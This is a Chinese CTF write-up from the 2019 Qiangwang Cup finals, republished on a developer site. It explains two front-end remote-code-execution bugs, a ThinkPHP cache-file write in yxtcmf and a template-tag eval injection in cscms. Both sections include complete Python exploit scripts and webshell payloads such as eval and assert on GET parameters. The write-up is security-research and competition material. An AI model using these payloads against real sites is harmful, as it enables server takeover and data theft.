实战:2019 强网杯 final Web Writeup

栏目: PHP · 发布时间: 5年前

内容简介:前言强网杯线下赛打的非常happy也非常累,感觉这种赛制非常有意思,早就厌倦了web的AD,这种cms的0/1day的挖掘非常带劲,就是和0ctf连着打,感觉命都没了。线下赛共有3道web,分别是1道框架0/1day,2道cms前台getshell的0/1day,但是Laravel框架由于可以搜到相关CVE,于是本篇文章不再编写,只分析另外2个cms。

前言

强网杯线下赛打的非常happy也非常累,感觉这种赛制非常有意思,早就厌倦了web的AD,这种cms的0/1day的挖掘非常带劲,就是和0ctf连着打,感觉命都没了。

线下赛共有3道web,分别是1道框架0/1day,2道cms前台getshell的0/1day,但是 Laravel 框架由于可以搜到相关CVE,于是本篇文章不再编写,只分析另外2个cms。

yxtcmf

信息搜集

拿到这道题时,我先去搜集了相关信息,可以发现该cms是一个以thinkphp+bootstrap为框架进行开。可以理解为在thinkcmf上进行的二次开发。同时了解到是thinkphp3.2.3:

const THINK_VERSION     =   '3.2.3';

同时题目文档描述,告知我们:

已经删除可用的install , admin, UpdateController.class.php和SettingController.class.php文件夹和文件,相关思路请不要尝试所以不难发现,给我们的cms,已经没有后台了,所以只能前台getshell(

那么这里我也不赘述自己踩坑的环境了,直奔主题。

thinkphp缓存机制问题

既然知道cms开发框架为thinkphp 3,那么势必会去搜集相关框架漏洞信息(因为yxtcmf搜到东西太少了),除去搜到的一些注入问题,最能直接getshell的便是cache缓存机制的问题。

在如下文章:

https://paper.seebug.org/374/

可以发现如果我们可以利用缓存机制,并计算出缓存文件名,控制缓存内容,即可getshell。

cache文件名

这里我们跟进yxtcmf的源代码,来到相关文件:

yxtedu/Core/Library/Think/Cache/Driver/File.class.php

可以发现cache文件的命名规则如下:

private function filename($name) {
        $name=md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
            // 使用子目录
            $dir   ='';
            for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
                $dir.=$name{$i}.'/';
            }
            if(!is_dir($this->options['temp'].$dir)) {
                mkdir($this->options['temp'].$dir,0755,true);
            }
            $filename=$dir.$this->options['prefix'].$name.'.php';
        }else{
            $filename=$this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
    }

我们关注到相关信息:

$name=md5(C('DATA_CACHE_KEY').$name);

跟进变量DATA_CACHE_KEY:

实战:2019 强网杯 final Web Writeup

不难发现,该值为空,故此cache文件名为固定值,我们可在本地运行代码,拿到cache文件名。

cache文件内容

知道了cache文件名,那么如何控制cache的文件内容呢?

在开发手册中提及,我们可以使用S()进行缓存:

实战:2019 强网杯 final Web Writeup

我们跟进S()函数,发现最后会进入set方法:

实战:2019 强网杯 final Web Writeup

我们继续跟进set方法:

实战:2019 强网杯 final Web Writeup

不难发现文件内容的写入操作。注意到写入时候,会默认在最前面加上注释符\\,所以我们可以用换行符bypass,例如:

\nvar_dump($_GET[a]);

即可bypass注释符。

既然知道通过S函数可以控制cache文件内容,那么就需要找如何触发该函数。

我们全局搜索S(,可以发现如下路径中,sp_set_dynamic_config有调用:

application/Common/Common/function.php

实战:2019 强网杯 final Web Writeup

我们关注变量$configs,发现其会与传入的$data进行array_merge,所以可认为写入内容可控。

cache写入路由

故此我们可以全局搜索函数sp_set_dynamic_config,查找调用处:

实战:2019 强网杯 final Web Writeup

我们可以发现大量路由有相关调用,但是否真的可以使用呢?答案是否定的,由于该cms删除了后台,以至于所有需要后台登录的路由均无法使用,一旦调用,则会触发后台文件入口里的:

header("Location: ../index.php?g=admin&m=public&a=login".$upw );

进行重定向跳转,所以我们必须要找无需后台登入的路由,以达到我们的目的。

这里我寻找的方式比较简单,只要找到没有继承AdminbaseController类的即可。

那么不难发现,在如下文件中,我们可以利用:

application/Api/Controller/OauthController.class.php

关注到其调用函数处:

function injectionAuthocode(){
        $postdata=I('post.');
        $configs["authoCode"]=$postdata['authoCode'];
        sp_set_dynamic_config($configs);
    }

发现我们可以直接通过post传参控制$postdata的值,并利用sp_set_dynamic_config写入缓存文件。

exp编写

那么整个利用方式就非常清晰了:

1.使用如下路由,POST发送恶意数据:

index.php?g=api&m=oauth&a=injectionAuthocode

2.由于injectionAuthocode方法调用了sp_set_dynamic_config方法,而sp_set_dynamic_config调用了S(),导致我们的恶意数据被写入cache。

3.访问cache文件getshell。

exp如下:

import requests
import urllib
host='http://192.168.43.85/'
url=host+'index.php?g=api&m=oauth&a=injectionAuthocode'
data = {
 'authoCode':'\nvar_dump($_GET[a]); @eval($_GET[a]);#'
}
r = requests.post(url=url,data=data)
url = host+'data/runtime/Temp/ed182ead0631e95e68e008bc1d3af012.php'
data = {
  'a':"system(\"ls\");"
}
r = requests.post(url=url,params=data)
print r.content

cscms

信息搜集

拿到该题后,我第一时间与github上的版本进行了diff,发现如下信息:

实战:2019 强网杯 final Web Writeup

给我们的版本是4.1.75,时间为20170715,而github版本为4.1.8,时间为20170825。

而在cscms官方网站中给出过相关补丁信息:

实战:2019 强网杯 final Web Writeup

于是我迅速的将目光锁定在了模板注入上,但很遗憾,官网的补丁下载下来的内容为空,我查询相关漏洞描述也一无所获,于是决定自己手动挖掘。

漏洞点发掘

首先全局搜索危险函数,例如eval、system、assert等,不难发现如下位置:

upload/cscms/app/models/Csskins.php

其中存在如下函数:    

public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
        $str=str_replace($php,$newsphp,$str);
return $str;
    }

我们注意到这里有明显的eval函数调用,那么我们查阅什么位置使用了该函数:

实战:2019 强网杯 final Web Writeup

发现在upload/cscms/app/models/Csskins.php中template_parse函数调用了cscms_php函数,而template_parse正是模板解析函数,与我们的信息搜集部分照相呼应。

模板解析函数

那么该函数如何解析 php 语句呢?

我们注意到相关操作:

preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
for($i=0;$i<count($php_arr[0]);$i++){
    $str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
}
}
unset($php_arr);

发现解析时会进行正则匹配,取出如下部分:

/{cscmsphp}([\s\S]+?){\/cscmsphp}/

我们可以使用类似于:

{cscmsphp}phpinfo();{/cscmsphp}

来执行命令。

模板渲染路由

既然找到了相关执行php语句的函数,那么只差一个调用该函数的路由了。依旧是全局搜索:

实战:2019 强网杯 final Web Writeup

可以发现在留言板功能中有所调用,而调用位置我们看到,在gbook_list方法中:

实战:2019 强网杯 final Web Writeup

其会从数据库中取出留言,然后进行渲染,那么如果想要触发模板渲染攻击,势必需要在留言插入时,就写入恶意数据,我们查看留言写入路由:

实战:2019 强网杯 final Web Writeup

即调用add即可写入数据,插入数据库。

同时经过本地测试发现:

实战:2019 强网杯 final Web Writeup

单引号会被转义,但我们的 shell 无需单引号:

实战:2019 强网杯 final Web Writeup

并且在访问index.php/gbook/lists/1时,会触发相关代码:

实战:2019 强网杯 final Web Writeup

exp编写

故此整个流程变得非常容易:

首先访问路由:

http://192.168.43.85/upload/index.php/gbook

进行留言,留言内容为:

{cscmsphp}assert($_GET[sky]);{/cscmsphp}

然后运行脚本,可进行RCE:

import requests
import urllib
host='http://192.168.43.85/'
url=host+'upload/index.php/gbook/lists/1'
data = {
 'sky':r"system('ls');"
}
r = requests.get(url=url,params=data)
print r.content

后记

总体来说,这样的竞技模式更加有趣,更贴近真实情况,可以让参赛人员在比赛过程中提高对cms漏洞挖掘能力。


以上所述就是小编给大家介绍的《实战:2019 强网杯 final Web Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

松本行弘的程序世界

松本行弘的程序世界

松本行弘 / 柳德燕、李黎明、夏倩、张文旭 / 人民邮电出版社 / 2011-8 / 75.00元

《松本行弘的程序世界》是探索程序设计思想和方法的经典之作。作者从全局的角度,利用大量的程序示例及图表,深刻阐述了Ruby编程语言的设计理念,并以独特的视角考察了与编程相关的各种技术。阅读《松本行弘的程序世界》不仅可以深入了解编程领域各个要素之间的关系,而且能够学到大师的思考方法。 《松本行弘的程序世界》面向各层次程序设计人员和编程爱好者,也可以供相关技术人员参考。一起来看看 《松本行弘的程序世界》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码